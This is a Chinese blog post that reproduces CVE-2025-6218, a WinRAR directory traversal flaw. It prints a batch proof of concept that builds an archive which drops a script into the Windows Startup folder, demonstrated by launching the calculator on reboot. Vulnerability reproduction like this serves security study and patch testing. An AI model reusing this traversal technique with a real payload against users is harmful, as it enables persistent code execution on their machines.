微信公众号 讲师中心
首页
文章
后端开发 web前端 数据库 开发工具 php框架 常见问题 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 自媒体 新闻
专题
后端开发 web前端 数据库 开发工具 php框架 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 新闻
AI工具
AI 聊天问答 Agent智能体 AI 文本写作 AI 绘画作图 AI 设计工具 AI 视频创作 AI 音频制作 AI 办公学习 AI 编程开发 Prompt指令
学习
大前端 后端开发 数据库 移动端 运维开发 计算机基础
编程手册
大前端 后端开发 数据库 移动端 运维开发 计算机基础
下载
js特效 网站源码 工具下载 类库下载 网站素材 学习资源 插件扩展 手机/移动开发 手机游戏
搜索
后端开发 web前端 数据库 开发工具 php框架 常见问题 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程
自媒体 新闻
首页 > 系统教程 > Windows系列 > 正文

【漏洞复现】CVE-2025-6218｜WinRAR目录遍历远程代码执行漏洞

絕刀狂花
发布： 2025-10-05 08:22:23
原创
297人浏览过

0x00 前言

WinRAR 是一款功能全面的压缩文件管理工具，作为 RAR 压缩算法在 Windows 系统下的图形化版本，广泛应用于各类文件处理场景。

它不仅可以用于数据备份、减小电子邮件附件体积，还能解压从网络下载的 RAR、ZIP 等多种格式文件，同时支持创建新的 RAR 和 ZIP 格式压缩包。

自 5.60 版本起，WinRAR 更换了全新的图标设计，但官方仍提供主题包供用户选择，可手动恢复为经典界面风格。

0x01 漏洞概述

该漏洞源于 WinRAR 在处理压缩包内文件路径时存在逻辑缺陷，攻击者可通过构造特殊路径实现目录遍历，导致文件被释放到非预期目录，从而在当前用户权限下执行恶意代码。

0x02 CVE 编号

CVE-2025-6218

0x03 影响范围

WinRAR 版本 ≤ 7.11

0x04 漏洞验证过程

1、安装 WinRAR 软件（版本需 ≤ 7.11）

【漏洞复现】CVE-2025-6218｜WinRAR目录遍历远程代码执行漏洞图片2、利用公开的 POC 工具生成恶意压缩包

代码小浣熊
代码小浣熊

代码小浣熊是基于商汤大语言模型的软件智能研发助手，覆盖软件需求分析、架构设计、代码编写、软件测试等环节

代码小浣熊 51
查看详情 代码小浣熊

POC 地址：

https://www.php.cn/link/e52917b6014799a313777d99a977c518

批处理脚本内容如下：

@echo offtitle CVE-2025-6218 POCecho calc.exe > POC.bat"C:\Program Files\WinRAR\WinRAR.exe" a -ap" \.. \.. \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"  CVE-2025-6218.zip POC.batecho.if errorlevel 1 (    echo [!] Failed to create POC.) else (    echo [+] CVE-2025-6218.zip created successfully!)echo.del POC.batpause
登录后复制

注意事项：

路径中的" \.. \.. \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"需根据实际批处理文件所在目录调整上级目录数量
登录后复制

【漏洞复现】CVE-2025-6218｜WinRAR目录遍历远程代码执行漏洞图片3、通过右键菜单将恶意压缩包解压至指定文件夹，触发路径跳转行为

【漏洞复现】CVE-2025-6218｜WinRAR目录遍历远程代码执行漏洞图片4、查看目标启动目录，确认恶意脚本已成功写入

【漏洞复现】CVE-2025-6218｜WinRAR目录遍历远程代码执行漏洞图片5、重启系统后，可观察到恶意批处理文件自动执行，弹出计算器

【漏洞复现】CVE-2025-6218｜WinRAR目录遍历远程代码执行漏洞图片0x05 参考资料

https://www.php.cn/link/b89bd6465f1baed1810a82e1d5138f52

Ps：欢迎关注并分享国内外信息安全动态，转载请保持内容完整。如发现文章中存在敏感或侵权信息，请及时联系作者进行删除。网络安全道路漫长，感谢您的理解与支持！

本文及相关工具仅供学习交流使用，任何因传播或利用文中信息而导致的直接或间接后果，均由使用者自行承担，作者及本平台不承担任何法律责任。

以上就是【漏洞复现】CVE-2025-6218｜WinRAR目录遍历远程代码执行漏洞的详细内容，更多请关注php中文网其它相关文章！

相关标签：
git windows github app 工具 网络安全 ai 解压 win microsoft github windows 算法 https 网络安全 winrar 图标设计

大家都在看：

最佳 Windows 性能的顶级免费优化软件
最佳 Windows 性能的顶级免费优化软件

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移，垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是，许多工具可以让 Windows 保持平稳运行。

下载
来源：php中文网
收藏 点赞
上一篇：能够解决Win10 20H2频繁死机无响应的两个办法 下一篇：微软公司，苹果公司，谷歌公司有没有让全世界系统崩溃的能力？
本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系admin@php.cn
最新问题
win11怎么把非pnp驱动程序添加到打印机_Win11非PnP驱动程序添加到打印机方法 首先通过控制面板手动添加本地打印机，选择从磁盘安装非PnP驱动并指定.inf文件完成安装；若打印机显示为未知设备，可在设备管理器中更新驱动程序并手动选取已解压的驱动；对于高级用户，可使用printmanagement.msc导入驱动包至系统，便于后续调用。
2025-11-09 12:38:02
841
win11怎么自定义文件资源管理器的快速访问栏_Windows 11资源管理器快速访问设置 首先启用快速访问显示设置，勾选“显示最近使用的文件”和“常用文件夹”，然后通过右键固定重要文件夹并可拖动调整顺序或取消固定。
2025-11-09 12:32:02
189
windows11如何开启或关闭剪贴板云同步_Windows 11剪贴板多设备同步设置 首先确认剪贴板云同步功能是否开启，1.在设置中启用剪贴板历史记录和跨设备同步；2.确保所有设备登录同一微软账户；3.专业版可通过组策略编辑器启用“允许剪贴板在设备间同步”；4.家庭版可修改注册表，创建AllowClipboardHistory和AllowCrossDeviceClipboard并设为1，重启生效。
2025-11-09 12:20:03
330
win10怎么查看系统激活状态_win10系统激活状态查看方法 1、通过设置可查看“Windows已使用数字许可证激活”状态；2、命令提示符输入slmgr.vbs-dlv可查许可证状态为“授权”则已激活；3、运行slmgr.vbs-xpr显示“计算机已永久激活”则为永久激活；4、属性中“Windows已激活”表示系统正常激活。
2025-11-09 12:19:02
109
windows10触摸板失灵了怎么办_Windows触摸板无法使用的修复方法 首先检查触摸板开关是否被误关，通过Fn功能键组合开启；其次在设置中确认触摸板已启用，并确保外接鼠标时不自动关闭；接着更新或重新安装触摸板驱动程序，可在设备管理器中操作；然后使用系统内置的硬件疑难解答工具进行自动修复；最后检查Windows更新，安装最新补丁并重启电脑。
2025-11-09 12:03:14
936
win11怎么将任务栏完全透明化_Windows 11任务栏透明设置方法 首先启用系统内置透明效果，进入设置-个性化-颜色，开启透明效果；其次可通过修改注册表UseOLEDTaskbarTransparency和ForceEffectMode值增强透明度；最后可安装TranslucentTB软件实现全透明任务栏。
2025-11-09 12:00:04
202
win11应用商店下载速度慢怎么解决 win11应用商店下载慢优化方法 首先使用网络加速工具优化连接，再重置微软商店缓存，接着调整传递优化带宽设置，最后更改DNS为8.8.8.8和8.8.4.4以提升下载速度。
2025-11-09 11:33:12
131
win10怎么查看电脑的内存条型号和频率_win10内存条型号与频率查看方法 可通过命令提示符、任务管理器、系统信息工具或CPU-Z软件查看内存规格。1、运行wmicmemorychip命令可获取制造商、型号、频率和容量；2、任务管理器性能选项卡显示内存运行频率；3、msinfo32系统信息工具提供部件号和速度等参数；4、CPU-Z的SPD页面展示详细型号、时序及XMP支持信息。
2025-11-09 10:55:34
888
如何使用 JaxCore 自定义 Windows 开始菜单 首先安装JaxCore并启用StartMenuCustomizer模块，重启后在模块管理中开启StartOverride功能，接着通过Appearance标签自定义颜色、透明度等视觉样式，再使用LayoutEditor重新排列应用分组与磁贴布局，最后在PluginManager中安装扩展组件如QuickActionsPack，并将功能条集成到开始菜单底部实现快捷控制。
2025-11-09 10:20:03
374
9个原因说明为什么从MacBook切换到Windows笔记本很难 从MacBook切换到Windows笔记本会因系统设计、硬件交互和操作习惯差异面临九个主要问题：首先是触控板手势操作不流畅，两指滚动可能反向，三指拖动等高级功能需第三方软件支持；其次快捷键不统一，如撤销命令从Command+Z变为Ctrl+Z，影响肌肉记忆，截屏工具也较弱；第三是系统更新不可控，家庭版无法彻底关闭自动重启提示；第四是文件资源管理器效率低，缺乏标签页且搜索缓慢，依赖Everything提升体验；第五为电源管理差，续航短于MacBook，后台进程耗电严重，电池健康信息难查看；第六是预
2025-11-09 10:17:02
718
相关专题
更多>
热门推荐
开源免费商场系统广告
热门教程
更多>
相关推荐
热门推荐
最新课程
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新 English
php中文网：公益在线php培训，帮助PHP学习者快速成长！
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号

  • PHP学习

  • 技术支持

  • 返回顶部